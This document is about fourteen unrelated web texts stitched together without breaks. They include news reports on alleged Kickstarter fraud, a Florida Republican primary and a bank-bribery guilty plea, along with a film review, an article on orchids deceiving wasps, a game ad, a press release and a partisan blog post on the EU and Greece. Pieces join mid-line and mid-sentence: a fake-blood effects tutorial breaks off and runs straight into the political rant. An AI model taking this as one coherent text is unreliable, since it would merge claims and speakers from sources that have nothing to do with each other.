sister Charlee. Married couple Devon and Jacqueline have eight cats, one of whom, Baby Angel, is particularly problematic: she pees outside her litter box and has a hard time trusting anyone but Jacqueline. 97 12 "Philly's Forgotten Cats" October 20, 2018 ( ) N/A
Reception [ edit ]
Neil Genzlinger of the New York Times wrote, "Mr. Galaxy—yes, it feels ridiculous writing that—looks like a Hells Angel, but his love and respect for cats seems genuine, and his advice appears actually to help the clients, most of whom are couples whose crazed pets are affecting their relationships."[23] Brad Wete of Entertainment Weekly commented, "Galaxy offers useful tips, even if your animal’s not nuts."[24]
See also [ edit ]
References [ edit ]Image copyright Peachy Printer Image caption Mr Grayston said he took this photo of the house his co-founder had built
Crowdfunding website Kickstarter is investigating claims that money given to a tech project was instead used to build a home.
One co-founder of the Peachy Printer scheme accused the other of stealing more than 324,000 Canadian dollars ($353,000; £174,000) and spending it.
Efforts to make the device have been halted. A confession video has been posted to the site as proof.
But the alleged thief told the BBC it had been filmed "under duress".
The loss is said to have come to light in 2014, but there had been no mention of it in the dozens of development updates posted to Kickstarter until now.
Missing money
Image copyright Rinnovated Design Image caption The firm had marketed its tech as being the "world's most affordable 3D printer"
The company Rinnovated Design had promised to build the first 3D printer and scanner costing $100.
It raised 651,091 Canadian dollars for the scheme via Kickstarter and a further 74,167 Canadian dollars via another crowdfunding site, Indiegogo. Both platforms let start-ups seek donations from the public, and offer backers rewards that correspond to the value of the pledges.
Rinnovated Design was co-owned by Rylan Grayston, who headed up technical development, and David Boe, who took care of financial matters.
In a lengthy statement on the business's website, Mr Grayston said the funds raised by the campaigns were initially put in Mr Boe's personal account, from which he took 324,716.01 Canadian dollars.
Mr Grayston said that when Mr Boe "came clean" he agreed to repay the sum, and a decision was taken not to make this public.
"He claims to have spent the Kickstarter funds on materials for his house, but he hadn't gotten the construction far enough to get that value back out through his mortgage draws," wrote Mr Grayston.
"As stated in the repayment agreement, the plan was that as David reached each stage of his build, he would payout a percentage [of] the draw to Peachy Printer.
"David made good on the first payment, and defaulted on the final two.
"The last of these payments was on March 2nd 2015, after which I was unable to contact him for months. When I finally did speak to him, I found that he had gotten a lawyer and quite drastically changed his tone."
Mr Grayston said he notified police in October 2015 after failing to resolve the matter.
Confession clip
A video posted to YouTube - said to have been filmed in 2014 but only made live on 10 May 2016 - appears to show Mr Boe confessing to the alleged crime.
Image copyright YouTube Image caption Mr Boe - seen on the left - was questioned by his business partner who filmed the interview
"I made a mistake, I apologise and I am trying to make it right," he said.
"Everyone knows it's wrong and I'm not trying to deny it."
When the BBC spoke to Mr Boe he was not aware that Mr Grayston had released the footage and other documents.
Mr Boe confirmed he had appeared in the video, but declined to comment about whether he had actually taken money.
"That was taken under duress, extreme duress, at that date," he said.
"They actually told me exactly what they wanted said in that.
"I'm not going to talk about [the allegations] right now."
Kickstarter said the matter under was investigation.
"Anyone who abuses our system and the trust of our community exposes themselves to legal action," said its spokesman David Gallagher.
"We're reaching out to the law enforcement officials who are already looking into this case, and will assist however we can."
But the Canadian police indicated the case was at an early stage.
"The Saskatoon Police Service received a complaint in November 2015 regarding the theft of crowdsourced funds from a 3D printer company," said its director of public affairs Alyson Edwards.
"Since then detectives from our economic crime section have conducted some preliminary investigation - however, they are still waiting for more information from the company's owners.
"Once they receive that information the crown prosecutor will be consulted to determine if this is a criminal case, or if it should proceed through civil litigation."
'Mind-boggling'
Mr Grayston could not be reached for comment.
Image copyright Indiegogo Image caption Funds for the Peachy Printer were also raised via the Indiegogo service
But on his project's Kickstarter page he acknowledged some of the details were "mind-boggling".
"I fully expect that some people will think this is just a big conspiracy, but if that were true do you really think I'd be asking you to write to my local police?
"After looking at all the evidence, if you still think this is a scam - I encourage you to report that to my city police."
Several of the project's backers posted sympathetic messages to the page, but others wrote that they had more questions, including why it took so long for the alleged theft to be announced.
Mr Grayston has said that Rinnovated Design is now "broke" after spending the rest of the money on development and wages.
However, he added that he still intends to "spin operations back up" at a later date.An Ohio Reform synagogue is waiving its fees for nonmembers who want to attend High Holy Day services this year, saying it wants to dispense with what it calls "pay to pray."
"People want to be accepted on their own merit regardless of how much money they have to pay,” Associate Rabbi Sharon Mars of Temple Israel in Columbus told the Columbus Dispatch.
More than one in every five Jews in the Columbus metro area lives in or near poverty, the paper reported, citing a survey.
“We simply can’t go on treating everyone as if they exist in the same socioeconomic status or make assumptions,” Mars said.
The synagogue has 650 members who pay dues. Nonmembers are usually asked to pay at least $100 for a pass to attend at Rosh Hashanah and Yom Kippur. This year, no payment from nonmembers is required, but the passes themselves are, for security reasons, the paper reported.
Harriette Hansell, president of the synagogue's board, told the paper that the shul hoped that some people who took up the offer would ultimately join Temple Israel or another synagogue.****Published by SC Mobile**** Summon heroes and get equipped. The adventure in on the way! Will you finally reach the throne of the King of the World or just die in the endless journey as a nobody? It is now decided by how FAST you could TAP! Crazy Click is a fabulous RPG game with fresh graphic and easy operation. The ONLY stuff you need to do is keeping clicking. Besides that, there also includes some hero updates, weapons equipment and teammates summon. Click those MONSTERS as CRAZY and FAST as possible. Collect gold coins, you are the most powerful HERO. GAME FEATURES: Hire 25 heroes with amazing power to support you in the journey to the King of the WORLD Beat 30 dreadful monsters along the way Explore 10 splendid environment from desert to evil forests Summon powerful artifacts to equip your heroes with unique powers. Evolve you heroes to discover unprecedented powers. *****Want more？*****?LIKE US: https://www.facebook.com/SugarcaneTechnology?FOLLOW US: https://twitter.com/SCMOBILEGAMES?VISIT US: http://www.sugarcanetechnology.com/?EMAIL US: feedback@sugarcanetechnology.com *****Have fun in the game!******The 2011 HRT was used to give Pedro de la Rosa track time in Jerez © Sutton Images Enlarge Related Links News:
HRT expected to run in Barcelona
Teams:
HRT
HRT has confirmed that it will skip the second pre-season test in Barcelona in order to prepare its new car for the final test.
The team had hoped to run its 2012 car at the final two tests at the Circuit de Catalunya, but the car will not be ready in time after it failed its crash tests, with new rules this season stating that all crash tests must be passed before a car can take to the track.
Having run the F111 at Jerez last week to give Pedro de la Rosa time in the car the team could have chosen to take the old car to Barcelona too. However, HRT has now decided that it will miss the second test in order to ensure that all problems are overcome in time for the final test from March 1-4.
Having also run its 2011 car in Jerez, Mercedes will launch its new W03 on Tuesday ahead of the opening day. Marussia skipped the first test after delays with its new car, and will run the 2011 MVR02 at Barcelona to give Charles Pic some experience before launching its 2012 car in time for the final four days.
© ESPN Sports Media Ltd.The continued team up of super powers Hanks and Spielberg turns out another great motion picture.
"Cast Away sequel? No.
That has GOT to be the worst idea
I've ever heard. Wait! How big
is the paycheck?"
Steven Spielberg and Tom Hanks come in from the cold to deliver another highly rendered historical piece that once again showcases both of their impeccable talents. Unlike most revisionist history lessons, Bridge of Spies never feels melodramatic or falsely predicated on creating its own vision of the beginnings of the Cold War. This is a relevant cinematic entry that furthers the continued successes of two geniuses still at the top of their game.
This is a prime specimen of Hanks and Spielberg doing their finest work like a finely tuned machine churning out quality entertainment that is definitely heavy in plot but never confusing or too callous in its characterization of the opposing communist factions. If anything, Bridge of Spies shows the balance between the Soviets and the U.S., never slighting either as Spielberg ever so delicately trudges through a politically charged landscape void of judgement or fabrication. Tonally the film is an even plateau of Hanks' consistently good natured roles and Spielberg's magical gift for endearing tales. Despite a slowly building first act, Bridge of Spies is proof positive that Spielberg still hasn't lost his gift for period pieces.
Documenting the past on film is never an easy task. The writing here is top shelf material offering up moments of tension, comedic bits and pieces, and a cast that throws themselves headlong into their respective characters. Hinging on the always studious Tom Hanks and a phenomenal performance from character actor Mark Rylance, Bridge of Spies has a hard nosed reality factor that might suffer under the duress of a less skilled acting troupe. Here, all the actors feel era correct in their physical presentation as well as their dialect and skillful articulation of character. Resting on the backbone of such a strong supporting cast, Hanks is allowed to shine brightly with a role that might get him another Oscar nod. His portrayal as attorney James B. Donovan is well spoken, mild mannered, and invokes a feeling of a time when patriotic men stood for what they believed in both morally and politically.
"My finger. Pull it."
Like every other film in the vast library of Spielberg's career, the sets are crafted perfectly, the music is beautiful and captures the essence of each scene while the costume design and effects are a virtual time machine transporting audiences back into realistic courtroom dramatics and Donovan's venture to free men held on charges of espionage. Taking cues from his own films and a couple standardized scenes that feel like they were heavily borrowed from A Time To Kill, Bridge Of Spies only stumbles during its first forty five minutes. From then on, it moves at a quicker pace as Hanks' character begins the real journey to solve the multiple problems at hand.
If you're looking for an end of year highlight or were let down by this summer's big box office blunders, Bridge Of Spies will fill in some of those blanks. This is a fascinating true story that shows heart in the face of great adversity and offers a story that history buffs will love to see transposed to the screen. Between the performances, music, and eloquent subtlety of the movie, this is easily one of the best of the year and sits in the upper echelon of Spielberg's later works. This doesn't feel like Oscar bait but more so a study of two men in love with the material they're working with. And it shows.
Score
-CGSex toys may be made not only of plastic; and only by humans. Nature has got its own. For humans, many flowers have an erotic symbolism, like the rose in the Western World (and this, since the ancient Greeks and Romans, who identified the rose with their goddesses of love - Aphrodite, respectively Venus), but also the red chrysanthemums, tulips, carnations, daisies, calla, lilac, gardenias and violets. In China, India, and other countries, hibiscus is the flower of love. In the East and Africa, the lotus represents creation, fecundity and the woman. But some male wasps really make flowers the objects of their passion. And not any flowers, but orchids. The right orchid can even make a male orchid dupe wasp (Lissopimpla excelsa) ejaculate on the petals, as showed by a new research published in the journal "American Naturalist."
"Many insects mistake flowers for femmes, but few go as far as these wasps. It's just so hard [for the wasps] to resist. But the wasp's attraction to flowers might complicate its efforts to mate with genuine females," lead researcher Anne Gaskett, a biologist at Macquarie University in Sydney, Australia.
The most known tricksters of the orchid family are the bee orchids from the genus Ophrys, inhabiting southern Europe and the Mediterranean area. These orchids do not have attractive nectar, so they fool the drones by mimicking the look and scent of a bee queen. The drones will attempt to mate with the bee orchids but before they become aware of the mistake, the orchid has already deposited a pollen package on their body. The drone flies off and, when he gets fooled again, he delivers the pollen to another orchid. After a few deceptions, the drone understands the trick, but he may have already pollinated several orchids. Each species of Ophrys orchid has its own pattern and smell, and also imitates wasps and bumble bees.
This new research was made on two species of Australian tongue orchids (Cryptostylis). While most insects merely touch down on the flowers, the dupe wasps were observed spending a lot of time around tongue orchids, leaving in many cases a visible blob on the flower before taking off.
"We decided to check if they were wasting their sperm on the flowers," Gaskett told New Scientist.
The microscope revealed the blobs contained sperm cells. Further field research revealed that on first visiting a tongue orchid, about 70% of the male wasps ejaculated on the flower. After several visits, most insects ceased copulating with the orchid.
"They are perhaps not really educated about what a real female looks like, and they make a bad decision. The orchids that caused the most extreme behavior - pollination with ejaculation - have the highest pollination rate of any known sexually deceptive orchid. I think ejaculation is just a side effect of having an extremely compelling orchid," added Gaskett.
But this peculiar behavior appears not to impact the biology of the wasp populations, due to the reproductive behavior of the wasps: the females can breed asexually (via parthenogenesis "virgin birth") producing only males, while sexual reproduction produces just females.
"If you are the female and you miss out on mating because your male is out with an orchid, you can still reproduce. The real winners are the orchids. By duping male wasps into ignoring females who in turn breed more males, tongue orchids ensure their legacy," hypothesized Gaskett.
"A simple test would be to see if populations of orchid stud wasps have more males than a related species that is not attracted to flowers," said Florian Schiestl, an orchid expert at the University of Zurich, Switzerland.
This is not the only Australian orchid fooling wasps. Another Australian orchid species has various hairs that make them look like a caterpillar. Attracted by the "prey", wasps sting it for laying their eggs and when they fly off, they already got a pollen load.COLOGNE, Germany--(BUSINESS WIRE)--Adblock Plus, the #1 most downloaded browser add-on in the world, today announced that all advertisements on Reddit, the leader in online social news and entertainment, meet Adblock Plus’s ‘acceptable ads’ guidelines and therefore will be whitelisted for Adblock Plus users.
Adblock Plus is a free ad-blocking tool, and is the product of an open-source community project; it has been downloaded more than 200 million times worldwide. Adblock Plus plugs into any Chrome, Firefox, Opera or Android browser and then blocks all online advertisements on websites, YouTube videos and browser-based games. Users can block all ads, or they can choose to whitelist their favorite websites that agree to run only unobtrusive ‘acceptable’ ads.
Till Faida, co-founder of Adblock Plus, said, "Our users can now opt to support websites that rely on advertising, but that choose to do it in a non-obtrusive way. This not only rewards responsible advertisers, but encourages them. This is exactly the choice that users have made with Reddit's site and we're very excited that Reddit has shown a deep commitment to making its site safe with responsible ads."
"We hate annoying and disruptive ads as much as everyone else, and we’ve always had limits on the type of ads we accept at Reddit. We respect our community and we’re serious about not displaying obnoxious ads,” said Erik Martin, GM of Reddit. “It's awesome that we're now being included in Adblock Plus' whitelisting program as well. We’re also proud that our community has contributed to the general discussion of ‘acceptable ads’.”
Links:
- Download Adblock Plus for Android at Google Play: https://play.google.com/store/apps/details?id=org.adblockplus.android
- Download Adblock Plus for Firefox / Chrome / Opera: www.adblockplus.org
- View the Acceptable Advertising guidelines: http://adblockplus.org/en/acceptable-ads
About Adblock Plus
Adblock Plus is a web extension that addresses annoying and intrusive online advertising by putting users in control. It allows defining filters that determine what a website is permitted to load, as well as provide a way to collapse unwanted sections of a web page. Adblock Plus has been the most downloaded and the most used extension almost continuously since November 2006. PC World rated Adblock Plus as a top innovation in its 100 Best Products of 2007 list, and in March 2010 the project collected the Linux New Media award for the Best Open Source Firefox Extension.
Follow AdBlock Plus on Twitter at @AdBlockPlus and read our blogs at http://adblockplus.org/blog/How To Slash, Stab, Spill, and Spout Blood
Darek Kowal takes you step by step through gory practical effects
Darek Kowal Blocked Unblock Follow Following May 17, 2017
Join our creator community, sign up for our newsletter, and remember to recommend 👏 this post on Medium!
Hi, everyone! Darek Kowal, the creator of the new web series ANYTOWN, USA, here to give you an easy, ten (10) step method to spray and spout blood using practical effects. First, let’s all agree, real blood tops digital blood every time and, while using real blood definitely requires more clean up and precision, the finished product is undeniably awesome. Just check out our first episode (near the 4:07 mark) to see what I mean.
Let’s get started!
STEP 1: BUY A FIRE EXTINGUISHER
This is a fire extinguisher
You can pick one up on Amazon and, trust me |
with mental disorders, that panders to special interests. It’s not a union of sovereign nations that hold meetings on how to find common ground. That common ground is now supposedly a given, and no matter what any nation thinks about that matters one bit anymore. Unless it’s Germany or France, and even then. The EU has superseded the nations that formed it. And that can never have been the idea of the people of these nations. As I started writing a few hours earlier today:
It won’t be a surprise anymore that I am not a fan of the European Union. That is to say, I like the idea but not the execution of it, and certainly not the clowns who execute it. However, what happened yesterday is something that even I couldn’t foresee. The Troika volunteered to self-immolate, though the three-headed beast is undoubtedly too full of hubris to understand what it did. Good.
Still, I’m looking at this, thinking: really guys? You really think deliberately sparking chaos in an EU member state on the eve of a democratic referendum is something that will help your case in the long term? Have you thought this through at all? I’m guessing the overriding notion is that threatening and bullying as a model has worked for Brussels so far; but I’m also guessing that the approach has its limits.
Like with many things, there may well be a gaping hole between what can be considered legally justified and what morally justified. But be that as it may, you can’t rule over 28 different sovereign nations with no morals whatsoever. That’s coming back to bite you in the face.
For the ECB to freeze ELA for Greek banks is the biggest blunder it has ever made, and arguably the biggest one it is capable of making in its present mandate. For one thing, it’s a purely political move, and the ECB has no place in politics, or politics inside the ECB.
That the Eurogroup added to the insult a refusal to grant Greece a one-week extension so preparations for the referendum could be executed in peace, tells us loud and clear what it thinks about democracy: it’s a mere afterthought.
Bullying sovereign nations gets old, fast. What you guys are at the moment doing to Greece, you won’t be able to repeat against Italy or Spain. They’ll have you for breakfast.
The EU, which is made up of 28 democratic and sovereign nations, is being run like some absolute kingdom, ostensibly led by a 24/7 drunk. How long do you think that can last?
The very minimum the ECB should have done this week is to issue an explicit guarantee for all Greek bank deposits up to and including the July 5th referendum. To make sure there would be no bank runs and line ups at ATMs leading up to the vote, which merely represents the purest form of democracy. That is hasn’t speaks volumes. And it can’t possibly have been a monetary deliberation; what happens now is far more costly for the bank, and for European taxpayers, than such a guarantee.
I love that the EU does this, and the Troika with it, because they ensure their own demise. What I don’t like is the people who will fall victim in the interim, starting with the ones here in Greece. If this is the best the EU can do on a human scale, it has no reason to exist. And everyone better get out while they can.
Europe can form a great union, peaceful and prosperous and happy. It has many many wise and smart people who can make that work. But those people are not in Brusssels, where the decisions are being taken. And there’s a reason for that.Dan Britton is in many ways the quintessential Jeb Bush voter — a staunch Republican who spends his days whizzing a golf cart around this huge Florida retirement community that once served as a critical support base for Bush’s statewide campaigns.
But ask Britton about the former governor’s presidential campaign and he shakes his head. Like many residents here, Britton moved to the state years after Bush left office.
“He was governor a long time ago,” said Britton, a retired builder and architect who moved here two years ago from Connecticut. Instead, Britton has his eyes on Florida’s current GOP star, Sen. Marco Rubio. “He’s young. He’ll help with the Hispanic vote. I like what he says.”
In a Republican field dominated by surging political outsiders, the battle over who should carry the mantle of the GOP establishment is, at this moment, shaping up as a duel between the former allies who are now Florida’s two political powerhouses.
As other establishment contenders, such as Ohio Gov. John Kasich and New Jersey Gov. Chris Christie, are lagging in fundraising and in polls, Bush, 62, and Rubio, 44, each see the other as his chief rival — with the survivor best positioned to wrest the nomination from party outsiders, mainly Donald Trump.
The tensions between the two sides hit a new high this week as Rubio’s campaign bragged that its “smart budgeting and fiscal discipline” left more money in the bank “than Jeb Bush for President” and other campaigns. Bush’s top spokesman fired back Friday on Twitter, pointing to a report that said Rubio’s campaign inflated its numbers and adding a stinging rebuke: “Lying about budgets. Guess Marco picked up something in the Senate.”
[Tensions escalate between the Bush and Rubio campaigns]
Heightening the drama of this once unthinkable showdown between mentor and protege is that it may be decided in Florida, the state that elected Bush twice as its chief executive and propelled Rubio from small-town city commissioner to state lawmaker to U.S. senator.
With the huge prize of 99 delegates in its winner-take-all primary and the timing of the state’s March 15 vote, many Republicans see Florida as the critical contest that will winnow the crowded GOP field. A defeat at home would be a humiliating — if not lethal — for Bush or Rubio. Recent polls have shown the two neck and neck in the state, though far behind Trump and, in some surveys, retired neurosurgeon Ben Carson.
Much of the state’s Republican establishment is backing Bush, who has rolled out lists of elected officials endorsing him, including 20 of the 26 Republican state senators. Bush has also far outpaced Rubio in donor support, nationally and in Florida.
Others are avoiding publicly declaring their preference. Both candidates are rebuilding and expanding their networks across the state. Bush has a bigger ground operation, and his national headquarters is in Miami. Rubio, who has focused more of his time building name recognition in other early-voting states, is preparing to announce chairs in all 67 Florida counties.
“Right now it’s a tossup between Bush and Rubio,” said Don Hahnfeldt, a county commissioner who lives in The Villages and is running for the state legislature.
What’s coming in Florida, said Republican strategist Kellyanne Conway, who is backing Sen. Ted Cruz (R-Tex.), is “the most significant, Armageddon-like battle of the Republican primary.”
Welcome to The Villages
There are few better barometers of the Florida Republican primary race than The Villages, a community an hour northwest of Orlando sometimes called “Disneyland for retirees.” It’s a place where people drive golf carts to the Winn-Dixie for groceries and to the town squares to hear live music each night.
The 114,000 residents — many of them affluent, and many of whom ran companies, managed offices or served in the military — are overwhelmingly Republican.
Voter turnout is higher than anywhere in the state. Bush and Rubio were regular visitors in the past — Bush dedicated the community’s charter middle school as governor — and locals expect to see more of them ahead of the primary. Rubio came through last month and offered some not-so-subtle digs at Bush, telling an overflow crowd at the Eisenhower Recreation Center that the GOP and the country needs to elect a “new generation of leaders with ideas relevant to the times in which we live.”
The Villages, full of people who have moved from other states, also underscores the challenges Bush and Rubio confront in Florida, despite their advantages as the home-grown presidential candidates.
The state’s ballooning population in recent years — it recently surpassed New York as the third-largest state — means that many voters have no particular allegiance to either candidate. In fact, in dozens of interviews here, many said they were more familiar with Trump, the ubiquitous billionaire and reality-television personality who also has a home in Palm Beach. In The Villages, which adds new people every day, half of the residents didn’t live here in 2010.
“Insiders are sticking with Bush, but a lot of regular, everyday voters have no strong bond,” said Brad Coker, who is managing director of Mason-Dixon Polling and Research and has years of experience measuring public opinion in the state.
One of the most active conservatives in The Villages, for instance, Aileen Milton, founded her tea party group only in 2012.
Milton, whose group has 300 dues-paying members, said she is impressed with Rubio on foreign policy. And she is no fan of Bush, particularly after he said that many immigrants cross the border illegally as an “act of love” for their families.
“Honestly, he sounded naive and gullible,” Milton said.
Bush, who at every campaign stop talks about his Florida record of cutting taxes and creating jobs, has made frequent appearances in the state.
He and his supporters are now challenging Rubio more directly, suggesting that he lacks experience and ridiculing his frequent absences from the Senate.
To highlight that Rubio has missed more votes than any senator, Bush is proposing that members of Congress who miss votes should have their pay docked. This week, Bush’s son Jeb Jr., noting Rubio’s absences, told college students in New York that Rubio should “either drop out or do something,” according to a Politico account of the event. Jeb Jr. also said that his father’s campaign was “way ahead” of Rubio’s in Florida.
Bush has poked at Rubio’s experience, portraying the senator as a follower in his past efforts to enact reforms in the state. Bush told CNN recently that as governor, “I relied on people like Marco Rubio and many others to follow my leadership.”
Bush is also hurling perhaps the most toxic insult that one Republican can give to another: He says Rubio is like Barack Obama — a one-term senator running for president.
“Look, we had a president who came in and said the same kind of thing — new and improved, hope and change — and he didn’t have the leadership skills to fix things,” Bush said on CNN.
Ray Wescott is listening. As the former restaurant owner from Baltimore County sipped a vodka tonic in his usual spot, a table overlooking the ninth green at the Hacienda Hills Country Club here, he recalled fondly how Bush cut taxes while leading the state from 1999 to 2007.
“Jeb Bush did a hell of a job as a governor,” he said.
Bush’s record resonates with others in The Villages, too.
“Yes, I would vote for Bush because I saw him balance the budget,” said Al Monteleone, 72, one of the morning regulars at Dunkin’ Donuts and a longtime Florida resident. “My wife is a teacher, and he was good on education, too.”
But more here say the main thing they know about Bush is that he is the brother and son of presidents. “Bush?” said Britton, the transplant from Connecticut. “People are tired of status quo, and Bush equals dynasty.”
Many said Rubio is generating more buzz.
‘A young John Kennedy’
During his visit here last month, Rubio talked to the retirees about the challenges of a fast-changing world, throwing in references to Uber, Airbnb and Candy Crush as he presented himself as the leader of a new generation.
“He is young, personable, smart, eloquent,” said Rusty Blankenship, a retired state trooper from West Virginia who attended Rubio’s speech. “I guess it’s not quite right to say this, because he is a Republican, but he reminds me of a young John Kennedy.”
Blankenship first got interested in Rubio just a few weeks ago. After watching the second Republican debate last month at the Ronald Reagan Presidential Library in Simi Valley, Calif., he went online to learn more about Rubio, signed up for “Team Marco” to get more information, and even sent a donation.
Henry Berg, 81, said that after watching the two GOP debates, he preferred Rubio, the “young guy.”
He said Bush had been “a good governor.” And he couldn’t point to anything in Rubio’s record. Still, he was going with a gut feeling: “I just like him.”
Sean Sullivan, Anu Narayanswamy and Jose DelReal in Washington contributed to this report.MANCHESTER -- Romelu Lukaku could be hit with a three-match ban that would rule him out the Manchester derby, with the FA set to review video footage appearing to show the Manchester United striker kicking out at Brighton defender Gaetan Bong, sources have told ESPN FC.
Referee Neil Swarbrick, in charge of United's 1-0 win at Old Trafford on Saturday, is due to submit his match report on Monday.
The incident, which happened in the Brighton penalty area in the second half just before Ashley Young's deflected winner, went unpunished at the time.
Video footage appears to show Lukaku aiming two kicks at Bong, the second of which looks to catch the Brighton defender.
Romelu Lukaku could be punished for his actions against Brighton.
If it is not mentioned in Swarbrick's report, the FA can look at the video and choose to charge the 24-year-old with violent conduct.
Should that happen, and Lukaku is found guilty, it would rule him out of United's next three domestic games -- against Watford at Vicarage Road on Tuesday, against Arsenal at the Emirates on Saturday and the first derby of the season against Manchester City the following weekend.
Lukaku has scored 12 goals in 20 games since his summer switch from Everton but has just one in his last 10 appearances.
Should he be suspended, it is likely Mourinho would turn to Zlatan Ibrahimovic, who has made three substitute appearances since returning from a seven-month injury lay-off.
Rob is ESPN FC's Manchester United correspondent. Follow him on Twitter @RobDawsonESPN.Assistant U.S. Attorney Emily W. Allen (619) 546-9738
NEWS RELEASE SUMMARY – September 25, 2015
SAN DIEGO – Amalia Martinez, the head of Small Business Administration (“SBA”) lending at the now- defunct La Jolla Bank, pleaded guilty today to conspiracy to misapply bank funds, admitting that she and other senior bank executives accepted cash bribes and kickbacks from borrowers in return for issuing hundreds of millions of dollars in loans to borrowers they knew were unqualified and unlikely to repay. The mismanagement contributed to the bank’s collapse in February 2010, when the Federal Deposit Insurance Corporation (“FDIC”) took over and absorbed its outstanding debt of more than $1 billion. That $1 billion tab was ultimately passed on to the taxpayers.
Beginning in 2004, Martinez and senior bank officers agreed to issue loans under favorable terms to high-volume borrowers they referred to as “Friends of the Bank,” or “FOBs.” They accepted fraudulent loan applications from the FOBs, and overlooked negative information about the borrowers’ creditworthiness. When the FOBs defaulted on their repayment obligations, the bank executives would issue more loans, so that the borrowers could use bank funds to make payments on their existing loans. In this way, the executives covered up the bank’s true poor performance, and allowed the bad loans to inflate their performance measures—which, in turn, increased their compensation from the bank.
Several of the FOBs participated in the conspiracy by making large cash payments in return for loans. In late 2007, one construction borrower handed $100,000 in cash to a senior bank official, who went on to share that money with Martinez and others. Another borrower, who received $75 million in loans, met with the same bank official in Las Vegas in 2008, where he hand-delivered $250,000 in cash. In 2006, a restaurant owner paid $50,000 in cash in return for loans; later, when the borrower struggled to repay his debts, Martinez arranged to issue another $150,000 loan, to be used to make payments on existing debts.
The conspirators also took efforts to cover up the scheme. In 2009, as the bank was failing, regulators began to investigate La Jolla Bank’s poor performance. In order to conceal the mismanagement and self-dealing from the regulators, senior bank officials directed Martinez and other co-conspirators to destroy fraudulent financial statements and “FOB” designations contained within the bank’s files, according to Martinez’s plea agreement.
Martinez admitted that she arranged to lend more than $55 million in SBA-backed loans as part of the conspiracy, and lost nearly $20 million in bank funds when those loans defaulted. The bank’s conventional lending portfolio was much larger, resulting in hundreds of millions of dollars in loans issued as part of the conspiracy.
To date, three other defendants have been charged in this case. SBA borrower Annand Sluman pled guilty and admitted paying cash bribes to Martinez in return for several SBA loans he was issued between 2006 and 2008. By 2008, Sliuman was not qualified to borrow, and he submitted fraudulent documents as part of his loan application that made his businesses appear to be qualified. Sliuman’s assistant, Laura Ortuondo, assisted in creating the fraudulent loan documents. She pled guilty to making false statements to investigators about her involvement in the case; as part of her plea, she also admitted that she destroyed evidence and instructed her then-husband to testify falsely on her behalf to help cover up the crime.
In August 2015, La Jolla Bank loan broker Jocelyn Brown was indicted for paying bribes to Martinez and others, in return for their help arranging loans for Brown’s borrowers. According to the indictment, Brown kicked back a portion of her broker commission to ensure that loans she referred to the bank were approved, regardless of the soundness of the loans and their benefit to the bank. Brown was arrested on August 7, 2015, and her case is pending before United States District Judge Anthony J. Battaglia. No trial date has yet been set.
“By accepting bribes in exchange for lending out the bank’s money, corrupt officials at La Jolla Bank exposed the bank to a substantial risk and, ultimately, ran the bank into the ground. Their greed cost the taxpayers, who had to step in and repay its depositors,” said U.S. Attorney Laura E. Duffy. “Attacking corruption at financial institutions is one important tool we have to protect taxpayers and reduce the likelihood that our country will have to ‘bail out’ another bank.” U.S. Attorney Duffy noted that the investigation of La Jolla Bank continues, and anyone with information is encouraged to call the Federal Bureau of Investigation at 858-320-1800.
“The Treasury Inspector General for Tax Administration is committed to investigating and prosecuting individuals to the fullest extent of the law when they choose to commit acts of bribery,” said Special Agent in Charge Rod Ammari. “Bribery will never be tolerated and TIGTA is committed to rooting out such illegal activity, especially when the millions of dollars that are lost from bribery are passed on to the hard working American taxpayer.”
“The Federal Deposit Insurance Corporation Office of Inspector General is pleased to join our law enforcement colleagues in announcing today’s guilty plea,” said Wade V. Walters, Special Agent in Charge of the FDIC’s Office of Inspector General. “We are proud to have played a role in uncovering a complex conspiracy that contributed to substantial losses to the Deposit Insurance Fund. We are committed to continuing investigative efforts to protect the viability of the fund and ensure integrity in our nation’s banks.”
“Ms. Martinez abused her position of trust to unjustly enrich herself at the expense of American taxpayers," stated FBI Special Agent in Charge, Eric S. Birnbaum. "The FBI is committed to using our investigative and intelligence capabilities to identify, disrupt and dismantle corrupt business practices within our financial industry.”
“When individuals defraud a bank they are in effect defrauding the community as well,” said Special Agent in Charge Leslie P. DeMarco of the Federal Housing Finance Agency’s Office of Inspector General. “It is particularly egregious when the individuals engaging in the fraud are the very individuals entrusted by the bank to serve the community. These individuals caused great harm to the bank, the community, and ultimately the taxpayers. We are committed to holding all bad actors accountable for their actions.”
Martinez’s guilty plea was taken before U.S. Magistrate Judge Bernard G. Skomal. She is scheduled to be sentenced by Judge Battaglia on November 30, 2015 at 9:00 a.m. On September 12, 2014, Judge Battaglia sentenced Laura Ortuondo to three years’ probation including 12 months of home detention, and ordered her to pay a $3,000 fine. Annand Sliuman is scheduled to be sentenced by Judge Battaglia on December 14, 2015, at 9:00 am.
DEFENDANTS AND CHARGES :
Amalia Martinez, 15CR2471-AJB Age 51 San Diego, CA
Conspiracy to misapply bank funds, in violation of 18 U.S.C. § 371
Maximum Penalties: 5 years’ imprisonment, $250,000 fine or twice the pecuniary loss or gain, three years supervised release, $100 special assessment, restitution.
Jocelyn J. Brown, 15CR2049-AJB Age: 59 San Diego, CA
Conspiracy to commit bank bribery, in violation of 18 U.S.C. § 371
Maximum Penalties: 5 years’ imprisonment, $250,000 fine or twice the pecuniary loss or gain, three years supervised release, $100 special assessment, restitution.
Bank bribery, in violation of 18 U.S.C. § 215
Maximum Penalties: 30 years’ imprisonment, $1,000,000 fine or three times the value of the thing given, offered, or promised, five years’ supervised release, $100 special assessment, restitution.
Making a false statement to a federal agent, in violation of 18 U.S.C. § 1001
Maximum Penalties: 5 years’ imprisonment, $250,000 fine, $100 special assessment, restitution.
Annand Sliuman, 13CR3673-AJB Age 34 Spring Valley, CA
Bank bribery, in violation of 18 U.S.C. § 215
Maximum Penalties: 30 years’ imprisonment, $1,000,000 fine or three times the value of the thing given, offered, or promised, five years’ supervised release, $100 special assessment, restitution.
Laura Ortuondo, 13CR3879-AJB Age 34 Cupertino, CA
Making a false statement to a federal agent, in violation of 18 U.S.C. § 1001
Maximum Penalties: 5 years’ imprisonment, $250,000 fine, $100 special assessment, restitution.
AGENCIES
Federal Bureau of Investigation
U.S. Small Business Administration – Office of Inspector General
Treasury Inspector General for Tax Administration
Federal Deposit Insurance Corporation – Office of Inspector General
Department of the Treasury – Office of Inspector General
Federal Housing Finance Agency – Office of Inspector General
*The charges and allegations contained in an indictment or complaint are merely accusations, and the defendants are considered innocent unless and until proven guilty.Signup to receive a daily roundup of the top LGBT+ news stories from around the world
In a landmark decision, the government in Bangladesh has approved a proposal of the social welfare ministry to identify “Hijra” as a third possible gender identity.
Prime Minister Sheikh Hasina announced the decision at a cabinet meeting on Monday.
